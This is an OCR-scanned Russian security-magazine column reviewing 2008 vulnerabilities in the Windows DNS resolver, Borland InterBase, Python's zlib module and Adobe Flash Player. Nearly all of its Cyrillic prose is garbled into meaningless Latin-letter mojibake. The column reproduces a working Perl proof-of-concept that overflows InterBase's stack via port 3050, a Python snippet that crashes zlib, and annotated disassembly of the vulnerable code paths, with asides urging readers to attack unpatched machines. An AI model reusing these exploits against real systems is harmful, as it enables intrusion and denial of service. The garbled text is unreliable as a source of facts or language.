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KpHC KacllepcKH aka MBIIBX, a.k.a. nezumi, a.k.a elraton, a.k.a. souriz, no-email

MocJjie MOTOKA WHTEPECHBIX JbIP, 00PYIINBIIErOCs HA HAIIM TOJIOBHI B KOHIlE 3UMbI —
Hayajle BeCHbI ITOr0 rofa, HACTYNWIO HeOKHAaHHOe 3aTullbe (mepen Oypei?!) m 3a
nocJieiHee BpeMsi He 00HAPY:KEHO HHM OIHOIi CKOJIb HU OYyIb 3HAYMTEJILHOH YSA3BHMOCTH,
KOTOPYH ObLI0 Obl MOXKHO HCIOJb30BATH JJIS MACCHPOBAHHBIX XaKEPCKUX AaTakK,
NM03TOMY, MPUXOIUTCHA AOBOJIBCTBOBATHCS IHYbI0 MIOMEHbIIE, §J1aro, TAKOBasi UMeeTcsl, a
BOT 3aIUIaTKM — OTCYTCTBYIOT M B CeTH HAXOAMTCS Ky4da 0e33alMTHBIX Padoyux
CTAHLUH U cepBepoB

Microsoft Windows — noomssimue DNS-knueHma

brief:

targets:

exploits:

solution:

Microsoft npojomkaer pajoBaTh HAC HOBBIMH U CTApbIMHU JIIPAMH, NEPEXOSAIIMMU U3 OJHOU
Bepcun Windows B apyryto. Bor Tak u ceituac. IlepBrie ataku Ha DNS mportokon Opum
3aduxcupoBaHbl B ganekoMm 1989 roqy u cBOIMIMCH K TeHepanun moiokHoro DNS otsera,
KOTOPBIH, TeM HEe MEHee, BOCTIPHHUMAJICS KEPTBON KakK IMOUIMHHBIN, "Omaromapsa” cmaboctu
MexXaHW3Ma ayTeHTH(UKauu. [7aBHEIM o00pa3om Xxakepel arakoBamn DNS-cepsepa
NPOBaiiIEPOB MM KPYIHBIX/MeNKHUX pupM, oOpamtatomuecs K Beimectosium DNS-cepBepam
U KIIIMPYNIMX TIIOJy4YEeHHbIE OT HHMX (WJIM OT Xakepa ;-) OTBETHl, B pe3yJbTaTe 4Yero
00pa3oBbIBajICsS yCTONMUMBBIM ovar 3apaxenusi (poisoned DNS-server) — moisb30BaTelb,
HarpuMmep, MBITAICS pa3pelinTh JOMEHHOe MM www.intel.com, a Tmomajan Ha cepsep
3IIOYMBINICHHNKA, HAYMHEHHBIN 3M0BpeqHbIME porpamMmamu. Korma ke ommOkm B DNS-
cepBepax OBUIM HCHPABIICHBI, XaKepbl MEPEKIIOYMINCh Ha araku DNS-KIHEHTOB, 4YTO
0Ka3aJI0Ch HAMHOTO CJIOKHEE, TIOCKOJIbKY THUIMYHAs MTOJIb30BATEIbCKAsI MAIIMHA T€HEPHPYET
CpaBHUTENHHO HeOoubIoe Koi-Bo DNS-3ammpocoB B eIMHUITY BpeMEHH U TOTOMY "CKOPMHUTB"
el momnenpHBIi DNS-oTBeT He Tak-To mpocrto. st 3Toro Heobxomumo 3HaTh: [P-ampec
opuruHansHOro DNS-cepBepa, Homep UDP-niopra ncrounuka u 16-OMTHBIH MICHTUPHUKATOD
TXID (Transaction ID), omHako, B CHily BBICOKOH IpENCKa3yeMOCTH [BYX IOCJIEIHUX
3Ha4eHuH, ataka Ha N'T He npezcrasisuia 00JbLIOH TpodieMsbl, 0 uem Microsoft y3Hana nunb
B Mapte 2004 roga, ucnpasus ommbOKky B W2K SP4 u XP SP2. Tounee, oHa mymaia, 4To ee
ucnpasuia, a Ha aene... CormacHo ucciegoBanusm Amit Klein (n3 kommanuu Trusteer), Alla
Berzroutchko (xommanms Scanit) u Roy Arends (kommarms Nominet UK) ommbka HuKyIa
JieBaThCA HE coOMpalach W Jaxe camble mocienHue Bepcun Windows HOABEpKEHBI yrpo3e
aTaky, 10 BUciy BKIIOUUTENBHO (3TO-TO C €€ MOJHOCTHIO EPEITUCaHHBIM CETEBBIM CTeKOM!).
Amit Klein (B nmponuiom oOHapyXMBIIMH aHaJOrW4Hyro ysi3BUMocTb B DNS cepBepe Ha
OpenBSD) moxpo6HO omucan TeXHUKY aTakd B gokymeHte "Microsoft Windows DNS Stub
Resolver Cache Poisoning" BMecte ¢ ucxomaubiMu TekcTamu proof-of-concept exploit'a:
http://www.trusteer.com/docs/Microsoft Windows_resolver DNS_cache poisoning.pdf,
03HAKOMHBIIKCH C KOTOPBIM, OJIWH U3 COTPYIHUKOB Microsoft BeIpa3mi B cBoeM Oi0re pe3koe
Hecornmacue:  http://blogs.technet.com/swi/archive/2008/04/09/ms08-020-how-predictable-is-
the-dns-transaction-id.aspx, Hy a moka MeXAy HUMH HAYT pa3dopku, "Opipa" momana Ha
Security Focus: http://www.securityfocus.com/bid/28553/info/;

Bcsi JmHelika NT-monoOHeix cucrem mo Bucny BrimountenbHo (32-OutHbie u 64-OuUTHBIE
penaxuumn);

WUCXOJHBIE  TEKCTHI exploita  MOXHO  HaWlTH B cratke Amit  Klein'a:
http://www.trusteer.com/docs/Microsoft Windows_resolver DNS cache poisoning.pdf;

YCTaHOBHUTH Ha paboueil cranuuu cBoi codcTBeHHbI DNS-cepBep (Hanpumep, OecruiaTHbIN
SMALL HTTP), nanpsimyio oOpamarommiicsi k KopHeBbIM DNS-cepBepam mno TCP-
mpoToKOoJy, U 3abiokupoBars 53-UDP moptr Ha Opanmmayspe i OTCEUSHHS IOJIOMKHBIX
DNS-orBeTOB;
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Security Vulnerg

MSO08-020 : How predictable is the DNS transaction
ID?

Today we released MS508-020 to address a weakness in the
Transaction ID (TXID) generation algorithm in the DNS client resolver,
The TXID is a 16-bit entity that is primarily used as a synchronization
mechanism between DNS servers/clients; in fact, you can think of it as
an Initial Sequence Number (ISMN) for DNS gquery/response exchanges.
Conseguently, the TXID is intended to be somewhat randorm and
difficult to predict. If both the TXID and hostname are predictable, an
attacker can forge malicious DNS replies which the DNS client resolver
will believe to be from the legitimate DNS server. The client would
then use the spoofed information to make an outbound connection to
a (potentially) attacker-controlled IP.

We wanted to explain a little more about the weakness to help you
recognize potential attacks on the wire. Remember that an attacker
needs to match the request TXID exactly in the spoofed response
before the legitimate DNS server replies with a valid response. This
was facilitated by our previous implementation of this PRNG algorithim
being weak and hence vulnerable to prediction attacks. Given the
previous consecutive TIDs, x_n, x_{n+1}, x_{n+2%}, the attacker
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Pucynok 1 Microsoft B ynop oTka3piBaeTcsi IpU3HABaTh HAJIMYHeE JbIPBI, 4TO k! TeM Jy4ie s
Hac! yeM /10JIb1Ie OHA He OyIeT ee MPU3HABATD, TeM 00JIbIlie MAIIIMH MbI YCIleeM aTaKOBaTh!

Borland InterBase — yOdaneHHoe nepenosiHeHue 6ygepa

brief:

11 anpens 2008 roga Obuia 0OHapomoBaHa WHGOPMAIIKS O IbIPE B MOIMYJIIPHOM cepBepe 0a3

nmanHbiX Borland InterBase, mojBepkeHHOM yrpo3e yAQJICHHOTO IEpErmoNIHEHHs Oydepa ¢
3axBaToM ympaBieHus. OmmOKy oOHapyxwmn coTpymHuk Oracle Corporation, JOBOIBEHO
WM3BECTHHIH (B Y3KHX Kpyrax) crnenuanucT mo 6ezomacHoctu Zhen Hua Liu, sxuBynmii B cBoeit
HOope Ha mobOepexxbe Redwood'a. Hccnmemys mmsaccemOnepHble BHYTPEHHOCTH —(aiiia

ibserver.exe,

OH 06paTI/IJI BHUMaHUE€ Ha OTCYTCTBHUE IIPOBEPKU JUIMHBI TNEPEHAHHBIX

NOJIb30BATCJIEM JAaHHBIX MNEPEe] UX KOIMUPOBAHHUEM B JIOKAJIbHEIN 6y(1)ep, 4YTO NOATBEPIKAACT
CJ'IGHyIOHII/Iﬁ KoOn, CHAOKEHHEBII MBIIIIbXWUHBIMHA KOMMCHTApHUAMU:

0041460F mov ecx, [ebptarg 4] ; // ECX := arg 4 ;ykasaTeyb Ha CTPYKTYPY
00414612 xor edx, edx ; // EDX := 0

00414614 mov dx, [ecx] ; // wmsenexaeMm word mo ykasaTeio arg 4
00414617 push edx ; // coxpaHsem EDX B creke

00414618 mov eax, [ebptarg 4] ; // EAX := arg 4

0041461B mov ecx, [eax+4] ; // | Datal | "\x41"x1000

0041461E push ecx ; // nepenmaeM dumm strcpy 4TO KONMMPOBATH
0041461F mov edx, [ebptarg 0] ; // EDX := arg 0

00414622 push edx ; // nepenaeM ¢umm strcpy Kyha KONMPOBATH
00414623 mov eax, [ebptarg 0] ; // _©Ges npoeepkmu pasMepos Oydepa
00414626 mov ecx, [eax+4] ;

00414629 call dword ptr [ecx+8] ; // strcpy

00411157 mov ecx, [ebptloop count] ; // KoJI-BO KommMpyeMmelx ©Ganr B ECX

0041115A mov eax, [ebp+recv_info]

’

//

yKasaTeyb Ha CTPYKTypy recv_info



target:

exploit:

solution:

0041115D mov esi, [eax+0Ch] ; // wm3Bnexaem m3 recv_inf ykas.Ha IaHHEE

00411160 mov edi, [ebp+arg 4] ; // yxasaTenb Ha Oydep I KONMPOBAHMUS
00411163 mov edx, ecx ; // npeBpamaeMm OamTHL..

00411165 shr ecx, 2 ;i // ..B IIBOMHEIE CJIOBa

00411168 rep movsd ; // xonumpyeM nB. cnoBamm 6e3 NPOBEpPKM
0041116A mov ecx, edx ; // cumTaeM KOJI-BO..

0041116C and ecx, 3 ; ..OCTaBWMXCH BamT

0041116F rep movsb ; // mokomnmpyeMm ocTaBuMecsa OaniTe

JlucTunr 1 quzaccemOiepHblii pparmenrt ibserver.exe

Kak BuIHO, MBI IMEEM [1eJI0 ¢ KIIACCHYECKUM CTEKOBBIM IepenoiHeHneM (0ydep-npueMHIK
HaXOJWUTCS B CTEKE), CO BCEMH OTCIOJIa BBITCKAIOIIUMH MOCHeACTBUsAMH. Ha cucremax c
HCIOJHSIEMBIM CTEKOM MBI 3alpPOCTO MOXKEM IIOJIMCHHUTH aJpec BO3Bpara U3 (YHKIHUH,
nepenaaB ymparienue Ha shell-kom. Ha cucremMax ¢ HEHUCHOJHSIEMBIM — CTEKOM
(XP SP2/Server SP1 u BbIlle NpH HAJIWYMW anmapaTHoO noanepkku co croponsl LIT) mpu
aktuBHOM DEP'e (mo ymomuanuio DEP 3ammmiaer TOTBKO CHCTEMHBIE KOMIIOHEHTHI), MBI
MOKEM peajn30BaTh ataKy Tuma return2libc (Haszsanme npummio u3 mupa UNIX, B Windows
Het libc, BMecto 3Toro Tam KERNEL32.DLL, HO cytn nmena 3to He MeHsieT). Ha cucremax c
panmomm3anueii agpecHoro mpoctpaHcTtBa (Bucma/Server 2008) mepenmaTh ympaBiieHHE Ha
sell-kos1 ckopee BCero He ynacTcs W JKepPTBa MOMMEET KpaxX, BEAYIIMHA K OCTAHOBKE CEpBHCA
"InterBase ibserver".

ySI3BUMOCTh NoaTBepkaeHa B Borland Interbase 2007 SP2 (ibserver.exe version 8.0.0.123),
OCTaJIbHBIC BEPCHHU HE IPOBEPSUINCH, HO, BO3MOYKHO, OHH TaK XK€ ySI3BHMBI,

HIDKE TIPHBENEH HMCXOIHBIN Kox proof-of-concept exploit'a, mepemaromuii yrpaBieHHe Ha
shell-kox. KoMy ieHp HaGHpaTh €ro B TEKCTOBOM PEIAKTOPE MOTYT CKadyaTh (aiii 1mo aapecy:
http://www.securityfocus.com/data/vulnerabilities/exploits/28730.pl;

use I0::Socket;

use strict;

my $host=$ARGV[0];

sub usage {print "usage: perl poc.pl serverip\n";}

if (S#ARGV < 0) {usage();exit();}

my $victim = IO::Socket::INET->new ( Proto=>'tcp',
PeerAddr=>S$host,
PeerPort=>3050) ;

my $a = "\x41"x1000; #"\x00\x00\x03\xE8"

my $b = "\x10\x43"x16;

my $e="\x00\x00\x00\x52\xFF\xXFF\xFF\xFF\x00\x00\x03\xE8".$b."\x00\x00\x00". $a;

print $victim S$e;

print " + Malicious request sent ...\n";

sleep(l);

print "Done.\n";

close ($victim) ;

exit;

JIuctuHr 2 ucxoauslii Texer proof-of-concept exploit'a

IPOU3BOAUTENL €Ile HUKAaK HE OTPearnpoBal Ha COOOIICHHE O IbIpe M KOrza IOSBHTCS
"7mexapcTBO" B BHMAE 3aIUIATKH — HEHM3BECTHO. 0C000 o03aboueHHBIE MpoOIEeMOil MOryT
NIPONIATYUTB KO ibserver.exe, BOTKHYB TyJa HECKOJIBKO MAIIMHHBIX KOMaH IS BBIIOJIHEHHS
TIPOBEPKH TpaHuI Oydepa;



D:%28730.pl DoS Line Col

use 10::S5ocket
use strict
my fhost=$ARGY[O]

sub
print

"usage: perl poc.pl serverip

if ($?I;IRG'-.-' < 0)

exit()

my Fvictim = I0::Socket:: =>"tep’,

=>$host,
=>3050)

my fpadd = " "x1000
my $padd = " "xl6
my $exploit =

" .$padd.” " $pads

print $victim %$exploit
" + Malicious request sent

print “Done.
close($victim)

exit

Pucynoxk 2 proof-of-concept exploit B TexcroBoM penakrope

Python — ydaneHHoe nepenosiHeHue 6yghepa 8 6ubnuomexe zlib

brief:

target:

exploit:

9 anpenst 2008 rona xakep Justin Ferguson u3 IOActive Security Advisory oOHapomoBai
00HAPYKCHHYIO UM JBIPY B MOMYJISApHO# OubmmoTeke zlib, BXOJsIIeil B MTATHBINA KOMIUICKT
nmoctaBku s3pika Python, mpmoOperaromiero ¢ KaXAbIM THEM BCE OONBIIYI0O W OONBIIYIO
pacipoCTpaHEHHOCTh M MOTOMY yTpo3a BIOJIHE akTyainbHa. Ommobka "cuaut"' B (QYHKIIUH
PyZlib_unflush, peamm3oBanHoit B  (aiime  Python-2.5.2/Modules/zlibmodule.c u
BemonHsAtoner copoc (flush) yxasamHOoro KONMMYecTBa OaWT, 3aTAHHOTO 3HAKOBHIM
apryMEHTOM, BCErJla TPAaKTyeMbIM KaK IMOJOKHUTEIbHOE 1Iieloe 0e3 MpOBEpKH Ha
OTpHIIATEIFHOE 3HAUYCHHE, IMepeada KOTOPOro (YHKIUHU BBIICICHUS MAMITH TPHBOIUT K
pe3epBUPOBAHKIO OJHOTO Oaiita OydepHOil mamMsaTH, a BOT QYHKIHS KOIMMPOBAHUS JTAaHHBIX B
Oydep mocne mnpeoOpa3oBaHUsl OTPULATEIFHOIO 3HAKOBOTO apryMeHTa B 0€33HaKOBOE,
MOJIy4aeT OYEeHb OOJIBILIOE YUCIIO, COOTBETCTBYIOIEE HECKOIBKAM rurabaiitaMm mamstu, 4To,
€CTECTBEHHO, MPUBOMT K MEPEIOIHEHUIO Ky4H. [IpIpa 0ObsIBlIeHa YAaIeHHOI, XOTs Ha CaMOM
Jielie OHa JIOKAJIbHAsh M 3TOT MOMEHT TpeOyeT HEKOTOpBIX MosicHeHHi. [la, MeiiCTBUTENBHO,
JIbIpa JIOKaJIbHA MO CBOEH MPUPOJIE U YTOObI JOOUTHCS MEPEMONHEHNST HEOOX0IUMO BBI3bIBATH
¢ynakmuro flush(), 4ro MOXHO cpenaTh TOJBKO HMMeEsl BO3MOXKHOCTH 3amyckath Python-
MpOrpaMMBI Ha IEJICBOM MAaIlMHE, JJIS 9ero TaM JOJDKEH OBITh YCTAHOBIICH WHTECPIPETATOP
A3bIKa, a Xakepy npenocraeieH shell ¢ BoamoxHocThi0 BhINONHEHUs1 Python-nporpamm. Ho
Jae TPH TakOM ONTUMHUCTHYHOM packiaJe OH HE CMOXET 3aBalIUTh ONEPalMOHHYIO
CHCTEMY, a TOJBKO 3amylICHHbIH SK3eMIUISIp MHTeprperaropa wid (B Hjeaje) 3aXBaTUTh
yIIpPaBJICHUE CUCTEMOI O€3 MPEBBIIICHHsI YPOBHS UMEIONIMXCS Y HETO PUBHUIICTHIA. A OHO eMy
Hamo?! Tak 4YTO araka HOCHUT Cyry0o J1aDOpaTOpHBIA XapakTep U TOJIBKO B TE€X HEMHOTHX
ciyuasx, Korja wuHTeprnperarop Python'a 3amyckaercss Ha 0Ooyiee BBICOKOM ypPOBHE
MIPUBWIICTUH, XaKep MOXET IIOMMETh C J3TOro Kakyio-To Bbiroay. IlogpoGHoctn Ha
http://www.securityfocus.com/bid/28715/;

IpIpa moxaTBepkaeHa B Python Bepcum 2.5.2, ocranbHBIE BEpCHHM TaK K€ MOTYT OBITh
YA3BHMBI;

HCXOTHBIN TEKCT proof-of-concept exploit'a JISKUT Ha
http://www.securityfocus.com/data/vulnerabilities/exploits/28715.py, a HKe TpUBENEH €ro
KITIOUEBOM ()parMeHT:

compMsg = zlib.compress (msqg)



bad = -24

decompObj = zlib.decompressobj ()
decompObj.decompress (compMsg)
decompObj . flush (bad)

JIucrunr 3 kimodeBoii pparment proof-of-concept exploit'a

solution: pa3pabotunkn  ucnpaBwiau  OmMOKY, HO TMOKa TOIbko Ha SVN-penpo3utopuu
(http://bugs.python.org/issue2586). XXnem-c BbIxoa ouepeiHONH CTaOUIHLHON BEPCHH.
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Jump te revision: 52335 -1 N

Autheor: gregory.p.smith

Date: Wed Apr 9 00:25:17 2008 UTC (6 days, 3 hours ago)

Log Message:

Fix zlib crash from zlib.decompresschj().flush(val) when wval was not positive.
It tried to allocate negative or zero memory. That fails.

Changed paths:

Path

Action Text Changes Prop Changes Diff to Previous
2 pyithon/trunl/Lib/test/test zlib.py  modified (aft to previous)
= python/trunlk/Modules/zlibmodule.c modified {dhft to previous)
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Pucynok 3 penpo3urtopuii ¢ nopukcennoii zlib

full disclose:

Adobe Flash Player — ydaneHHoe nepenoJsiHeHue 6yghepa
brief:

9 anpenst 2008 roma Mark Dowd w3 wmcciemoBarenbckoro mnozapasaencaus [SS X-Force,
BXOJISIIETO B cocTaB Koproparmu IBM coBmectHO ¢ xakepom wushi u3 rpynmser team509
obHapyxuiu u ornyonukoBanu neipy B Adobe Flash Player, paboTatoiero noa ynpasieHremMm
ornepalMoHHON cuctembl Linux. Jns peanusanuy aTakd JTOCTaTOYHO "CKOPMHTH" >KEpTBE
CICIMATBHBIM 00pa30M CKOHCTPYHPOBaHHBIN swf-(aiin, 3aMaHiB eec Ha web-CTpaHUYKy Win
mocnaB ero mouToil. I maBHoe, uToOs1 Adobe Flash Player 6pm1 ycranosmen! Ommbka HOCUT
CHCTEMHO-HE3aBHCUMBIA XapakKTep, XOTSA, C YUETOM pasnuiuid peanusamuii nog Windows u
Linux, ans xaxmod KOHKPETHOW ImIaTopMBI HEOOXOMUM CBOH swi-(aiil ¢ yMBIIUIEHHO
HCKaXEHHBIM TOJIEM DefineSceneAndFramelLabelData.SceneCount, COJIePIKAIITIM
Konu4yecTBO "'clieH", KOTOpBIE HeoOXomumo cuutaTh U3 (aina. SceneCount mpencTaBisieT
co0o0i1 1BOIHOE 3HAKOBOE CJIOBO, HO NPOBEPKA Ha OTPHULATEIbHOE 3HAYCHUE HE BHIMOIHICTCS
U XaKep IMOJy4aeT BO3MOXKHOCTh MOIH(PHUIKMPOBATH JI00YI0 (HY, WM MPAKTHUYECKH JTHOOYIO)
S4YelKy aJIpecHOTo MPOCTPAaHCTBA BHYTPHU IMPOILECCA, YTO OTKPBIBAET IIUPOKHE BO3MOMXKHOCTH
Ui atak, 0co00HHO ¢ ydeToMm Toro, uto Adobe Flash Player me ncmonp3yer BO3MOXKHOCTH



targets:

exploit:

solution:

paHIOMM3alMK aJpecHOro MpPOCTPAHCTBA, NpenocTaBisieMble BHCIOW M HEKOTOPHIMHU
BepcusiMu Linux'a, a moToMy He CHJIBHO 3aTpyJHseT 3ajady aTakyroomiero. J[ns 3axBara
yrpaeienust MamnHo# (¢ npuBmierusmu Flash Player'a) Obi1o Ob1 1ocTaTouHO nepe3anucarhb
ykazaresib Ha (QYHKIHIO WIM TIOJMEHUTH aiupec Bo3Bpara, HO Mark Dowd noren mamHoro
Oomee KpyTBIM W pagudKaNbHBIM IIyTeM, arakoBaB BupTyanbHylo flash-mammny,
MHTEPIPETHPYIOUTYI0 OalT-KOI M HW3BeCcTHYIO mon mMmeHeM ActionScript Virtual Machine
(wmm, cokpamenHo, AVM). JlocTOMHCTBO Takoro IMoJX0/a, BO-NIEPBHIX, B €r0 HOBU3HE, a, BO-
BTOPBIX, B CHCTEMHO HE3aBHCHMOCTH — OalT-KOJ BHUPTYaJbHOH MAIIMHBI HE IPHBSA3aH K
KOHKPETHOM IUIaTpopMe M IIOTOMY OJHaXIbl CKOHCTPYMPOBaHHBIM exploit He HYXHO
NepenuChIBaTh MOJ BCIO NPOLECCOPHYIO JIMHEHKY Ha KOTOpOH ToJbKO peann3oBaH Adobe
Flash Player: x86, x86-64, PPC, etc. [Togpo0Hee 06 3TOM MOXKHO IMpo4nTaTh B cTatbe Mark'a
Dowd'a— "Application-Specific Attacks: Leveraging the ActionScript Virtual Machine",
CBOOOMHO OCTYIMHOW BceM OkenmaromuM: http://documents.iss.net/whitepapers/IBM_X-
Force WP final.pdf. Tak e pexomeHayercs cxogutr Ha  Security Focus:
http://www.securityfocus.com/bid/28695;

Adobe Flash Player 8.0.34.0/8.0.35.0/9/9.0.115.0/9.0.28.0/9.0.31.0/9.0.45.0/9.0.47.0/9.0.48.0
(muctpubyruBel RedHat Enterprise Linux Desktop/RedHat Enterprise Linux Extras/RedHat
Enterprise Linux Supplementary server/S.u.S.E. Linux 10.1 ppc/S.u.S.E. Linux 10.1
x86/S.u.S.E. Linux 10.1 x86-64/S.u.S.E. Novell Linux Desktop 9/S.u.S.E. openSUSE
10.2/S.u.S.E. openSUSE 10.3 u npyrue);

proof-of-concept exploit moctynen tonsko noamucuukaM "Immunity CANVAS Early Update
Program" ¢ uenoii wiencrBa B $1450 nHa 3 mecsina, npojuieHue wieHctBa ctoutr $730 B
kBapTan. [lonpobHocTr Ha — http://www.immunityinc.com/products-canvas.shtml;

npou3BoaUTEdb yke Beimyctsn Flash  Player 9.0.124.0, cBoOoaHbI OT OMIMOKH
MIePEIONHEHMsI, a Ul CTapbIX BEPCUHl JOCTYMHO OeculaTHOe OOHOBJICHHUE, BBUIOKEHHOE Ha
http://www.adobe.com/support/security/bulletins/apsb08-11.html, ograko, HI HOBasi Bepcwus,
HH OOHOBIIEHHE HE WCIPaBIAIOT Bcex ommoOok. Ilpoepka mons SceneCount Ha
OTpHUIaTeIFHOE 3HAYCHHUE TOSIBIIIACH (KAKOE OTPOMHOE JIOCTH)KEHHE, Bax!), OHAKO, Ae(EeKTHI
BUpTyasbHOH AVM-MammHel Kak OBUTH, TaK M OCTalHCh. [lo-TpekHEMY BO3MOXKEH 00XO0.
Bepudukaropa OaiiT-koJja ¥ NpoYHe TPIOKH, KOTOPBHIM IUIAHHPYETCS! MOCBATHTH OTAEIBHYIO
CTaThiO, @ B 3TOM 0030pe (OrpaHMYEHHbIE MECTOM) MBI PACCMOTPHM JIMIIb HEMOCPEACTBEHHO
camy OIIMOKY 3HAKOBOTO MEPENOTHEHHUS.
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* CANVAS

» Screenshot : 3 ;
Gallery = Wl
A AT LN
veanvas  (C ANINEARSS
Documentation LS
F. A g
CANVAS Early e

]
Updates Immunity CANVAS Professional
VisualSploit
Plugin Immunity's CAMNYAS malkes available hundreds of exploits, an
» SILICA automated exploitation system, and a comprehensive, reliable exploit
Immunity development framework to penetration testers and security professionals
4 Debugger wiorldwide. To see CANVAS in action please see our movies.
» Hydrogen Cost
» Zynamics Bindiff _
: Zynamics License: -
Binkiag Current Price: $1450 _ _
» Gleg. Ltd - one license allows up to 10 usersfinstallations
g, - includes 3 months of updates and support
DSquare - unrestricted (no target IP address limitations)
Security - full source code
- Your use of CANVAS Professional does not expire when your support
period is over. Ea|

Pucynok 4 niaarure $1450 u noxyuaiite cratyc CANVAS Professional ¢ nosinsliii 1octynom k
HCXO0JHOMY KOay coTeH exploit'os!

full disclose:

Jns ananmmza "gpiper” B Flash-player'e momMumo camoro miieepa (KOTOpBIM y)ke HaBepHsKa
YCTaHOBIIEH B CHUCTeMe), HaM moHaaoburcs cneuudukanus Ha SWE/FLV-daiinel, nocnenHow
pelakiyio KOTopoi (Ha MOMEHT HalMCaHUs 3THUX CTPOK — 9't0), MOXKHO CKayaTh ¢ cepBepa (GupMsbl
Macromedia: http://download.macromedia.com/pub/flash/licensing/file format specification v9.pdf.

Ocropoxno! Ilpu mepBom xe oTkpbiTHU pdf-¢haiina sta cBonous Jezer B CeThb, mepenaBas
HallM JaHHble W 3ampammBas cepTudukar. [lnd COXpaHEHUs WHKOTHUTO PEKOMEHIYeTCs
BOCTIONIB30BaThCs OpanamayspoM. [logymas HekoTopoe Bpems, Adobe Acrobat Reader cmeHuT THEB Ha
MWJIOCTh M OTOOpa3HUT COAEPKHUMOE clienn(pUKaluK, I[PEeABAPUTENLHO "BBIILIIOHYB" Ha 3KpaH
npotuBHBII NAG-Screen ¢ TEKCTOM JIMIEH3MOHHOI'O COTJIALICHUS M CTaHAAPTHBIMH KHOIIOYKaMHU
"Agree" (Ilpunsith) u "Disagree" (Ilocnate Ha...). Oxpeners!!!




File Format Specification License Agreement

A

Adobe

Please read the following license carefully and then click 'T Accept’ or 'I Disagree’ before -
proceeding,

SWF and FLY File Farmat Specification License Agreement
ADOEE SYSTEMS INCORPORATED

By using this 3WF and FLY File Format Specification (the "Specification), you agree to this SWE
and FLY File Format Specification License Agreement (the "License").

1, Definitions

a, "specification” means the file Format documentation provided ko you pursuant to khis License to
assist you in the creation of media in the SWF or FLY File Format.

b, "Products" means your software produck(s) andfor service(s) in which you oukput the SWFE ar
FLY File Format through the use of the Specification,

., "SWF" means the file format designated by .5WF and compatible for plavback in the Adobe
Flash Playver saftware,

d. "FLY" means the file Format designated by FLY and compatible For playback in the Adobe Flash LI
I Disagree |

PucyHok 5 JiM1ieH3MOHHOe corlalieHHe, BCIIbIBAIOIee IPU NMONBITKe OTKpbITHA pdf-daiina co
cnenuduxanueii SWF/FLV ¢opMaToB — HHTepecHO, 10AyMaJIach JU KaKas-HUOYAb Apyras
¢pupma BeraBaaTe EULA B cneuuduxanun?! Hanpumep, Intel nepen ornayveii manyana craaa
0Bl CIPAIIMBATH HAC: COTJIACHBI JIU MBI C JHIEH3HOHHBIM COTJIAIIIEHNEM HJIM HeT

Crpykrypa SWF-daitmos (_) COCTOMT M3 MOCJIEIOBATENIbHOCTH Pa3IMYHBIX
00BEKTOB: (Uryp, 3BYKOB, WIPU(PTOB, Tekcra, etc. Bce oHM 00pabaThIBarOTCS BIIOJIHE KOPPEKTHO
(medekToB  peanmzanMM  HET WM TaKOBBle e€HIe HE HaWaeHbl), HO BOT CTPYKTypa
DefineSceneAndFramelLabelData, onwuceiBatomas creHy (Scene) NOABEpKEHA LEIOYUCICHHOMY
3HaKOBOMY IIEPETIOIHECHUIO.



Tags in SWF file

DefineShape as character 1

Dictionary

Character1

DefineSound as character 2

DefineFont as character 3

DefineText as character 4
Uses font defined as character 3

DefineMorphShape as character 5

Shape

Character 2
Sound

Character 3
Font

Character 4

Text

Character b
Morph

Definition tag

Character

Pucynok 6 crpykrypa SWF-¢aiina

Paccmorpum ctpykTypy DefineSceneAndFramelLabelData 6omee moapo6HO (_).
Kak BuiHO, OHA BKJIIOYAeT B cebs MacCHB CleH Scenes, KOMMYECTBO KOTOPBIX 33/IaHO B IMEPEMEHHOMN
SceneCount tuma unsigned int32 (6e33HaKOBOE JBOWHOE CIIOBO), KOTOPAS JICKHUT PSIIOM C MACCHBOM.

// BCIOMOTATEJIbHEIE CTPYKTYPH
SceneData
{
UI32 FrameOffset
String SceneName
}
FrameData
{
UI32 FrameNumber
String FrameLabel
}

// TeroBas CTpPyKTypa
DefineSceneAndFramelLabelData
{
RecordHeader Header
UI32 SceneCount
SceneData Scenes[SceneCount]
UI32 FrameCount



FrameData Frames[FrameCount]

}

Jluctunr 4 teroBas crpykrypa DefineSceneAndFrameLabelData (tag ID 0x56), mogBep:xeHHasi
1eJI0YHCJIeHHOMY 3HAKOBOMY IepenoJIHeHHI0

Temeps 3arpy3um flash-player B z[I/I3acceM6neﬁ W TIOCMOTPUM Ha KOJ, 0OpabaThIBAIOIIHI

mepeMeHHyt0 SceneCount BMECTe ¢ MACCHBOM Scenes ):

.text:30087A42 call SWF _GetEncodedInteger ; mosyuuTb Scene Count
.text:30087A47 mov edi, [ebp+arg 0]

.text:30087A4A mov [esi+4], eax ; EAX := Scene Count
.text:30087A4D mov ecx, [ebx+8] ; ECX - pasmep swif-danmna
.text:30087A50 sub ecx, [ebx+4] ; ECX - xoj-BO GamT mo KOHLA Odania
.text:30087A53 cmp eax, ecx ; ?(Scene Count > ECX)
.text:30087A55 jg loc_30087BB4 ; <- He BmHNoOJHseTcs, ecaum SC < 0
.text:30087A5B test eax, eax ; IpPOBEepKa Ha HYJb
.text:30087A5D jz loc_30087BOE ; <- He BHNoJHsiercss, eciu SC < 0
.text:30087A63 mov ecx, [edi+20h]

.text:30087A66 push 3

.text:30087A68 push 3

.text:30087A6A push OCh ; nCount

.text:30087A6C push eax ; nSize

.text:30087A6D call mem Calloc ; obnammBaeTcst, ecim SC < 0
.text:30087A72 push eax ; EAX := 0, ecim SC < 0
.text:30087A73 mov ecx, esi

.text:30087A75 call sub 3004A766 ; IejlaeT pas3Hbe HEMHTEPECHHEe 1neja
.text:30087A7A and [ebptarg 0], O

.text:30087A7E cmp dword ptr [esi+4], O

.text:30087A82 jle short loc_30087AFA ; BCerja BHIIOJIHSIETCS

JInctunr 5 nuzaccemOsepHbiii pparment Flash Player'a, B koTopoM nponcxoauT nepenoJHenne

Chauana nepeMeHHast SceneCount cpaBHUBAETCS C KOJIMYECTBOM OalT, OCTABILMXCSI 1O KOHIIA
swi-¢aiisa, mnpuyeM cpaBHEHHE OCYIIECTBISIETCS IPU IOMOIIM MAlIMHHOW KoMmauibl JG,
unTepnpetupytomei SceneCount kak _3HakoByto mnepemenHyto. Eciu SceneCount < 0, 3Ta npoBepka
3aBEPIINTCS YCIENIHO (UISI XaKepoB), MOCKOJIBKY BCSKOE OTPHIATEIFHOE YHCIO OOoNbIie JH000To
HOJIOXKUTENBHOTO KOMMYecTBa OaiT, OTIMYHOTO OT HyJsd — IPOBEpKa Ha HYJIEBOE 3HAUCHHUE
